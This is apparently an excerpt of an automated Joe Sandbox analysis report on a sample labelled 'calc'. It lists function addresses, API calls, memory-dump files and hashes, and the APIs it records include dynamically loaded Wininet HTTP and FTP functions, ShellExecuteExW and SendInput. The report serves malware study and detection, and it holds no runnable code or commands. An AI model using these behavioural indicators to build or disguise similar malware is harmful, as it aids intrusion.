      Function 0040D03A Relevance: 7.5, APIs: 5, Instructions: 30COMMON
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Line$Move
      • String ID:
      • API String ID: 3367123170-0
      • Opcode ID: 0106cda48ff9bbf4bdcf28e82eb6819dc74d54902d14879b2f11568f3fb45efe
      • Instruction ID: b97fa02212309c47107a525ebd6b8e18c6dd5977cae12453f45f519e06501ec8
      • Opcode Fuzzy Hash: 0106cda48ff9bbf4bdcf28e82eb6819dc74d54902d14879b2f11568f3fb45efe
      • Instruction Fuzzy Hash: DCF09B3640011CBBCF126FA1DC44EEF3F3AEB4AAA1F008419FA1855060C7369521FBA2
      Function 0043903B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 176COMMON
      Download Yara Rule
      APIs
      • ShellExecuteExW.SHELL32(?), ref: 00439188
      • CloseHandle.KERNEL32(00000000,00000001), ref: 00439216
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: CloseExecuteHandleShell
      • String ID: @$open
      • API String ID: 283469938-267353779
      • Opcode ID: eabc24713cc0d57b82beee37674fe870f9fd3a7856a74545b4a3a8b12b45cbae
      • Instruction ID: feda34889901b56425d67917506db13db688c050cc61e307db15a32002fab435
      • Opcode Fuzzy Hash: eabc24713cc0d57b82beee37674fe870f9fd3a7856a74545b4a3a8b12b45cbae
      • Instruction Fuzzy Hash: 7D61CF35800216EBEF14EF96C849A9EB7B4BF08324F14416BE81577251CBB8AD85CBD9
      Function 004240D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON
      Download Yara Rule
      APIs
      • SetErrorMode.KERNEL32(00000001), ref: 004240E5
      • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 00424183
      • FreeLibrary.KERNEL32(?), ref: 004241D9
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Free$DiskErrorLibraryModeSpace
      • String ID: #v
      • API String ID: 196386347-554117064
      • Opcode ID: ec9e2a6431ef558222c43363077eb0374d7a6db46bcaa8f577a68fa7ac60255b
      • Instruction ID: b200f007bc7906c09fc1daa9ee030b72ce8bb0e7a5c992d7f6e88266f231a153
      • Opcode Fuzzy Hash: ec9e2a6431ef558222c43363077eb0374d7a6db46bcaa8f577a68fa7ac60255b
      • Instruction Fuzzy Hash: FD318E31A00528EBCF04EF95EC448EEBBB8FF94310B41416BF901A7161DB38AD91CB99
      Function 0042B031 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0042FF12: LoadLibraryA.KERNEL32(Wininet.dll,0042B04C,?,00000000), ref: 0042FF1D
        • Part of subcall function 0042FF12: GetProcAddress.KERNEL32(00000000,InternetCrackUrlW), ref: 0042FF2F
      • FreeLibrary.KERNEL32(?,?,00000000), ref: 0042B0BB
      • FreeLibrary.KERNEL32(?,?,00000000), ref: 0042B106
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Library$Free$AddressLoadProc
      • String ID: <$#v
      • API String ID: 1386263645-477561535
      • Opcode ID: bc8154724da4988744ae3f73b3a068960f97eee7dce1caf29509b1ad39073ea0
      • Instruction ID: 08250e3cd797b4f165cb22cbd0ca780e2f8aa99a4327fa461dcb274be227e967
      • Opcode Fuzzy Hash: bc8154724da4988744ae3f73b3a068960f97eee7dce1caf29509b1ad39073ea0
      • Instruction Fuzzy Hash: 4D31B3B1D00229EFCB11DF99E8419DEBBF8EF48300F50816BE815A7251D7799A41DFA4
      Function 0043004A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FD8C,00000001,0042ACF7,?,20000013,?,?,00000000,00000001), ref: 00430055
      • GetProcAddress.KERNEL32(00000000,HttpQueryInfoW), ref: 00430067
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: HttpQueryInfoW$Wininet.dll
      • API String ID: 2574300362-1827896123
      • Opcode ID: 2c1ab40f9f572c927a0f49cc0b26cfcbf8b99dfb582a9751682da44302c35902
      • Instruction ID: ae3e7c10155bc4f291df986d1bcd477b896a64aa057136c8ef096f6152cf38fa
      • Opcode Fuzzy Hash: 2c1ab40f9f572c927a0f49cc0b26cfcbf8b99dfb582a9751682da44302c35902
      • Instruction Fuzzy Hash: C7D0C970A41302EECB208F71D8497137AF8AB44B02F209A6BB486D1260E77CE480CA1E
      Function 00430071 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FDA2,?,0042AE6F,00000000,00000000,?,00000000,00000000,00000000,80000000,00000000), ref: 0043007C
      • GetProcAddress.KERNEL32(00000000,HttpOpenRequestW), ref: 0043008E
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: HttpOpenRequestW$Wininet.dll
      • API String ID: 2574300362-1025864003
      • Opcode ID: fa93d8326efd3392f730695c0b1e64c3d25dd35159c5fa05e1670c90f17307a6
      • Instruction ID: 3aaa05196208d3405ad0e3724d1edfe7fa9879c1e0bd29b72703f7ab18a18b8f
      • Opcode Fuzzy Hash: fa93d8326efd3392f730695c0b1e64c3d25dd35159c5fa05e1670c90f17307a6
      • Instruction Fuzzy Hash: CED0C970641302EECB208F71D849B237AF8AB48702F20996AB49ED1260E778C840CE1E
      Function 00430023 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FD76,00000000,0042AAC3,00000000,?,80000000,00000001,00000000), ref: 0043002E
      • GetProcAddress.KERNEL32(00000000,FtpOpenFileW), ref: 00430040
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: FtpOpenFileW$Wininet.dll
      • API String ID: 2574300362-1343039947
      • Opcode ID: 6420013c9dd9f3a00795251f9aeb9b087d60abef74e79443d0e6b0bbbbe75e81
      • Instruction ID: 762bacf6f0d06cfb391cf0f2ff01321af7d6c7216697d0843cc30400aa9164b9
      • Opcode Fuzzy Hash: 6420013c9dd9f3a00795251f9aeb9b087d60abef74e79443d0e6b0bbbbe75e81
      • Instruction Fuzzy Hash: C3D0C974641302EECB608F61D8497137AF8AB44702F20997BB48AD1261E77CD440CE5E
      Function 004300E6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FE10,00000000,0042B1F3,00000000,00000032,?,00000008,?,00000003), ref: 004300F1
      • GetProcAddress.KERNEL32(00000000,InternetSetOptionW), ref: 00430103
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: InternetSetOptionW$Wininet.dll
      • API String ID: 2574300362-1330685833
      • Opcode ID: 95de0dffc22d0963259c4d69c6c45233e077d41ec1b1f5133d5896be310fb27d
      • Instruction ID: ff59ce156c35f3968f4afa164b3a05efdcf9e96a6bec108e9525e22fa4784c4e
      • Opcode Fuzzy Hash: 95de0dffc22d0963259c4d69c6c45233e077d41ec1b1f5133d5896be310fb27d
      • Instruction Fuzzy Hash: 56D0C970641312EECB20AF61D8497137FE8AB55702F20996AB486D1262E778C440CF1E
      Function 004120F8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(user32.dll,00410D3B,?,?,004115D3,00000012,?,00000000,?,00000000), ref: 00412103
      • GetProcAddress.KERNEL32(00000000,SendInput), ref: 00412115
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: SendInput$user32.dll
      • API String ID: 2574300362-1064832393
      • Opcode ID: 4ead3b7de1eb813e2890999ff995c73bf3de4ffd0baf0b3798f1e810c2294c97
      • Instruction ID: b963cc7c8b00b921c783b673ea5c61c7744dee692fadaf3b76782265ccaed0cb
      • Opcode Fuzzy Hash: 4ead3b7de1eb813e2890999ff995c73bf3de4ffd0baf0b3798f1e810c2294c97
      • Instruction Fuzzy Hash: 38D0C970540306EFCB209FB1C98A71277E8AB00707F20886BB989E1293D7B8C484CA1C
      Function 00430098 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FDB8,?,0042AEB5,00000000,00000000,00000000,00000000,00000000), ref: 004300A3
      • GetProcAddress.KERNEL32(00000000,HttpSendRequestW), ref: 004300B5
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: HttpSendRequestW$Wininet.dll
      • API String ID: 2574300362-571859679
      • Opcode ID: 56287dbb5c8fa613192b2f9640bf059d33571e061af0d96863c42d5ccb391b72
      • Instruction ID: f9c0c41dff0c6647ec6965b73e0666f837cba77f00087c9ce6256905e321456e
      • Opcode Fuzzy Hash: 56287dbb5c8fa613192b2f9640bf059d33571e061af0d96863c42d5ccb391b72
      • Instruction Fuzzy Hash: FFD0C970641306EECB749F61D8497137AF8AB44702F20996BF886D1260E7B8D480CA1F
      Function 0042003A Relevance: 6.1, APIs: 4, Instructions: 70windowCOMMON
      Download Yara Rule
      APIs
      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00420064
      • TranslateMessage.USER32(?), ref: 0042008B
      • DispatchMessageW.USER32(?), ref: 00420095
      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004200A5
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Message$Peek$DispatchTranslate
      • String ID:
      • API String ID: 1795658109-0
      • Opcode ID: 9024c2977bfdbd5ac00eb1186ad899a131a143131b69003cd44eda1b14e214a5
      • Instruction ID: d6d8623c54d9b74e91df51d2b51a13610eb9f86121000978df8a1a571116bf05
      • Opcode Fuzzy Hash: 9024c2977bfdbd5ac00eb1186ad899a131a143131b69003cd44eda1b14e214a5
      • Instruction Fuzzy Hash: 3B1187B2A053559EEB119BB4BC88BB77BECA701309F44843AD152D3102E778D84ADB79
      Function 004030FC Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
      Download Yara Rule
      APIs
      • SendMessageTimeoutW.USER32(0045C6D0,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00403119
      • GetWindowThreadProcessId.USER32(0045C6D0,00000000), ref: 0040312E
      • GetCurrentThreadId.KERNEL32 ref: 00403135
      • AttachThreadInput.USER32(00000000,?,0040301A,?,00000001), ref: 0040313C
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
      • String ID:
      • API String ID: 2710830443-0
      • Opcode ID: f061325f79de26fa8bd7ada1c3a173e6ada7418d19c7524b275892b6c77a0e0a
      • Instruction ID: e0469f5d39f6c9a8ed97173fcd7a9f0b0481b7a02a8b853d1df90955247d746e
      • Opcode Fuzzy Hash: f061325f79de26fa8bd7ada1c3a173e6ada7418d19c7524b275892b6c77a0e0a
      • Instruction Fuzzy Hash: 59E01231684308FAEB119F60DC0AF9A3F5CAB14B42F508021B705AD0E2D7B9DAA1CB5C
      Function 0045705F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109fileCOMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0044F7F5: SetFilePointer.KERNELBASE(00000000,00000000,00000000,?,?,?,0044F8C0,?,00000000,0044EFF8,0045B9B8,0000000C,0044CCA9,?,00000000,00000002), ref: 0044F822
        • Part of subcall function 0044F7F5: GetLastError.KERNEL32 ref: 0044F82F
      • SetEndOfFile.KERNEL32(00000000,?,?,?,00000000,?,?,?,00455E63,00000000,80000000), ref: 0045714F
      • GetLastError.KERNEL32(?,?,?,00000000,?,?,?,00455E63,00000000,80000000), ref: 00457174
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorFileLast$Pointer
      • String ID: c^E
      • API String ID: 1697706070-2539547054
      • Opcode ID: cfd755cca87d619af5feba0446fd4f4da26253de6824d47dc33922f992f189b7
      • Instruction ID: b36608169c62242103fee92faa6a2b2a4f55438ee637c16eb5b786c1d23c8d19
      • Opcode Fuzzy Hash: cfd755cca87d619af5feba0446fd4f4da26253de6824d47dc33922f992f189b7
      • Instruction Fuzzy Hash: B9314C71900514ABEF212F65DC45B8E3B64EF08355F10417BFD089B292EA798E488B9C